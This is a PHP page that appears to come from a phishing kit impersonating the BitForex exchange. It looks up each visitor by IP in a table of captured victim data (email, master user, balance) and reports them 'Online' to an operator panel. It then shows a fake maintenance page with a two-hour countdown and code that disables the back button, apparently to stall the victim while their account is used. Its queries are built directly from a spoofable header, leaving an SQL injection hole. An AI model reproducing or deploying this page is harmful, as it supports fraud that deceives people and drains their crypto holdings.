<?php

@session_start();
error_reporting(0);

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";
require("../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

//faz uma consulta para verificar se o ip já existe no banco de dados
//$verifica = mysqli_query(DBConnect(), "SELECT * FROM valor");
//retorna a quantidade de linhas da consulta ou seja, pode retornar 0 ou 1 linha
//$valor  = mysqli_fetch_assoc($verifica);

$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$saldo = $row_infio['saldo'];


$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Caindo fora...' WHERE ip='$ip'");

$protocolo    = 'https';
$host         = $_SERVER['HTTP_HOST'];
$script       = $_SERVER['SCRIPT_NAME'];
$parametros   = $_SERVER['QUERY_STRING'];
$UrlAtual     = $protocolo . '://' . $host;
$camp = $_SESSION['camp'];
?>

<!doctype html>
<title>BitForex Maintenance</title>
<!-- <link rel="shortcut icon" href="/assets-bitmex/images/favicon.ico" type="image/x-icon"> -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,700" rel="stylesheet">
<link rel="shortcut icon" href="/assets-bitforex/images/favicon.ico" type="image/x-icon">
<style>
  html,
  body {
    padding: 0;
    margin: 0;
    width: 100%;
    height: 100%;
  }

  * {
    box-sizing: border-box;
  }

  body {
    text-align: center;
    padding: 0;
    background: #d6433b;
    color: #fff;
    font-family: Open Sans;
  }

  h1 {
    font-size: 50px;
    font-weight: 100;
    text-align: center;
  }

  body {
    font-family: Open Sans;
    font-weight: 100;
    font-size: 20px;
    color: #fff;
    text-align: center;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: center;
    -ms-flex-pack: center;
    justify-content: center;
    -webkit-box-align: center;
    -ms-flex-align: center;
    align-items: center;
  }

  article {
    display: block;
    width: 700px;
    padding: 50px;
    margin: 0 auto;
  }

  a {
    color: #fff;
    font-weight: bold;
  }

  a:hover {
    text-decoration: none;
  }

  svg {
    width: 75px;
    margin-top: 1em;
  }
</style>

<article>
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 202.24 202.24">
    <defs>
      <style>
        .cls-1 {
          fill: #fff;
        }
      </style>
    </defs>
    <title>Asset 3</title>
    <g id="Layer_2" data-name="Layer 2">
      <g id="Capa_1" data-name="Capa 1">
        <path class="cls-1" d="M101.12,0A101.12,101.12,0,1,0,202.24,101.12,101.12,101.12,0,0,0,101.12,0ZM159,148.76H43.28a11.57,11.57,0,0,1-10-17.34L91.09,31.16a11.57,11.57,0,0,1,20.06,0L169,131.43a11.57,11.57,0,0,1-10,17.34Z" />
        <path class="cls-1" d="M101.12,36.93h0L43.27,137.21H159L101.13,36.94Zm0,88.7a7.71,7.71,0,1,1,7.71-7.71A7.71,7.71,0,0,1,101.12,125.63Zm7.71-50.13a7.56,7.56,0,0,1-.11,1.3l-3.8,22.49a3.86,3.86,0,0,1-7.61,0l-3.8-22.49a8,8,0,0,1-.11-1.3,7.71,7.71,0,1,1,15.43,0Z" />
      </g>
    </g>
  </svg>
  <div style="margin-top:10px;">
    <span style="background-color: #ff9400; border-radius: 3px; padding: 5px; font-size: 12px;">Don&rsquo;t refresh the page</span>
  </div>
  <h1>We&rsquo;ll be back soon!</h1>
  <div>
    <p>Sorry for the inconvenience. We&rsquo;re performing some maintenance at the moment. Wait for <spans style="color:white;" id="timer" data-hours="2" data-minutes="0" data-seconds="0"></spans>,
      otherwise we&rsquo;ll be back up shortly!</p>
    <p>&mdash; The BitForex Team</p>
  </div>
</article>
<script type="text/javascript">
  window.history.forward();

  function noBack() {
    window.history.forward();
  }
</script>

<script>
  /*
   ** How to use:
   *** Create a parent element
   *** set id="timer"
   *** set data-hours for the hours counter
   *** set data-minutes for the hours counter
   *** set data-seconds for the hours counter
   **** note
   ** if you dont set data-hours, data-minutes, data-seconds by default these set value 0
   ** if you dont set data-timer-end by default it's set timer-end
   */

  const oneSec = 1000,
    container = document.getElementById('timer');

  let dataHours = container.getAttribute('data-hours'),
    dataMinutes = container.getAttribute('data-minutes'),
    dataSeconds = container.getAttribute('data-seconds'),
    timerEnd = container.getAttribute('data-timer-end'),
    timerOnEndMsg = "data-timer-end";

  if (dataHours == '' || dataHours == null || dataHours == NaN) {
    dataHours = "0";
  }
  if (dataMinutes == '' || dataMinutes == null || dataMinutes == NaN) {
    dataMinutes = "0";
  }
  if (dataSeconds == '' || dataSeconds == null || dataSeconds == NaN) {
    dataSeconds = "0";
  }

  let hoursSpan = document.createElement('spans'),
    minutesSpan = document.createElement('spans'),
    secondsSpan = document.createElement('spans'),
    separator1 = document.createElement('spans'),
    separator2 = document.createElement('spans'),
    separatorValue = ":",
    max = 59,
    s = parseInt(dataSeconds) > max ? max : parseInt(dataSeconds),
    m = parseInt(dataMinutes) > max ? max : parseInt(dataMinutes),
    h = parseInt(dataHours);

  secondsSpan.classList.add('time');
  minutesSpan.classList.add('time');
  hoursSpan.classList.add('time');
  separator1.classList.add('separator');
  separator1.textContent = separatorValue;
  separator2.classList.add('separator');
  separator2.textContent = separatorValue;

  checkValue = (value) => {
    if (value < 10) {
      return "0" + value;
    } else {
      return value;
    }
  }

  hoursSpan.textContent = checkValue(dataHours);
  minutesSpan.textContent = checkValue(dataMinutes);
  secondsSpan.textContent = checkValue(dataSeconds);

  timer = (sv, mv, hv) => {

    s = parseInt(sv);
    m = parseInt(mv);
    h = parseInt(hv);

    if (s > 0) {
      return s -= 1;
    } else {
      s = max;
      if (m > 0) {
        return m -= 1;
      } else {
        m = max;
        if (h > 0) {
          return h -= 1;
        }
      }
    }
  }

  finished = () => {
    max = 0;
    let timerEnd = container.getAttribute(timerOnEndMsg);
    container.setAttribute(timerOnEndMsg, 'true');
    if (timerEnd == '' || timerEnd == null) {
      container.textContent = "timer-end";
    } else {
      container.textContent = timerEnd;
    }
  }

  counter = setInterval(() => {

    if (h == 0 && m == 0 && s == 0) {
      clearInterval(counter, finished());
    }

    if (s >= 0) {
      timer(s, m, h);
      hoursSpan.textContent = checkValue(h);
      minutesSpan.textContent = checkValue(m);
      secondsSpan.textContent = checkValue(s);
    }
  }, oneSec);

  let children = [hoursSpan, separator1, minutesSpan, separator2, secondsSpan];

  for (child of children) {
    container.appendChild(child);
  }
</script>

</body>

</html>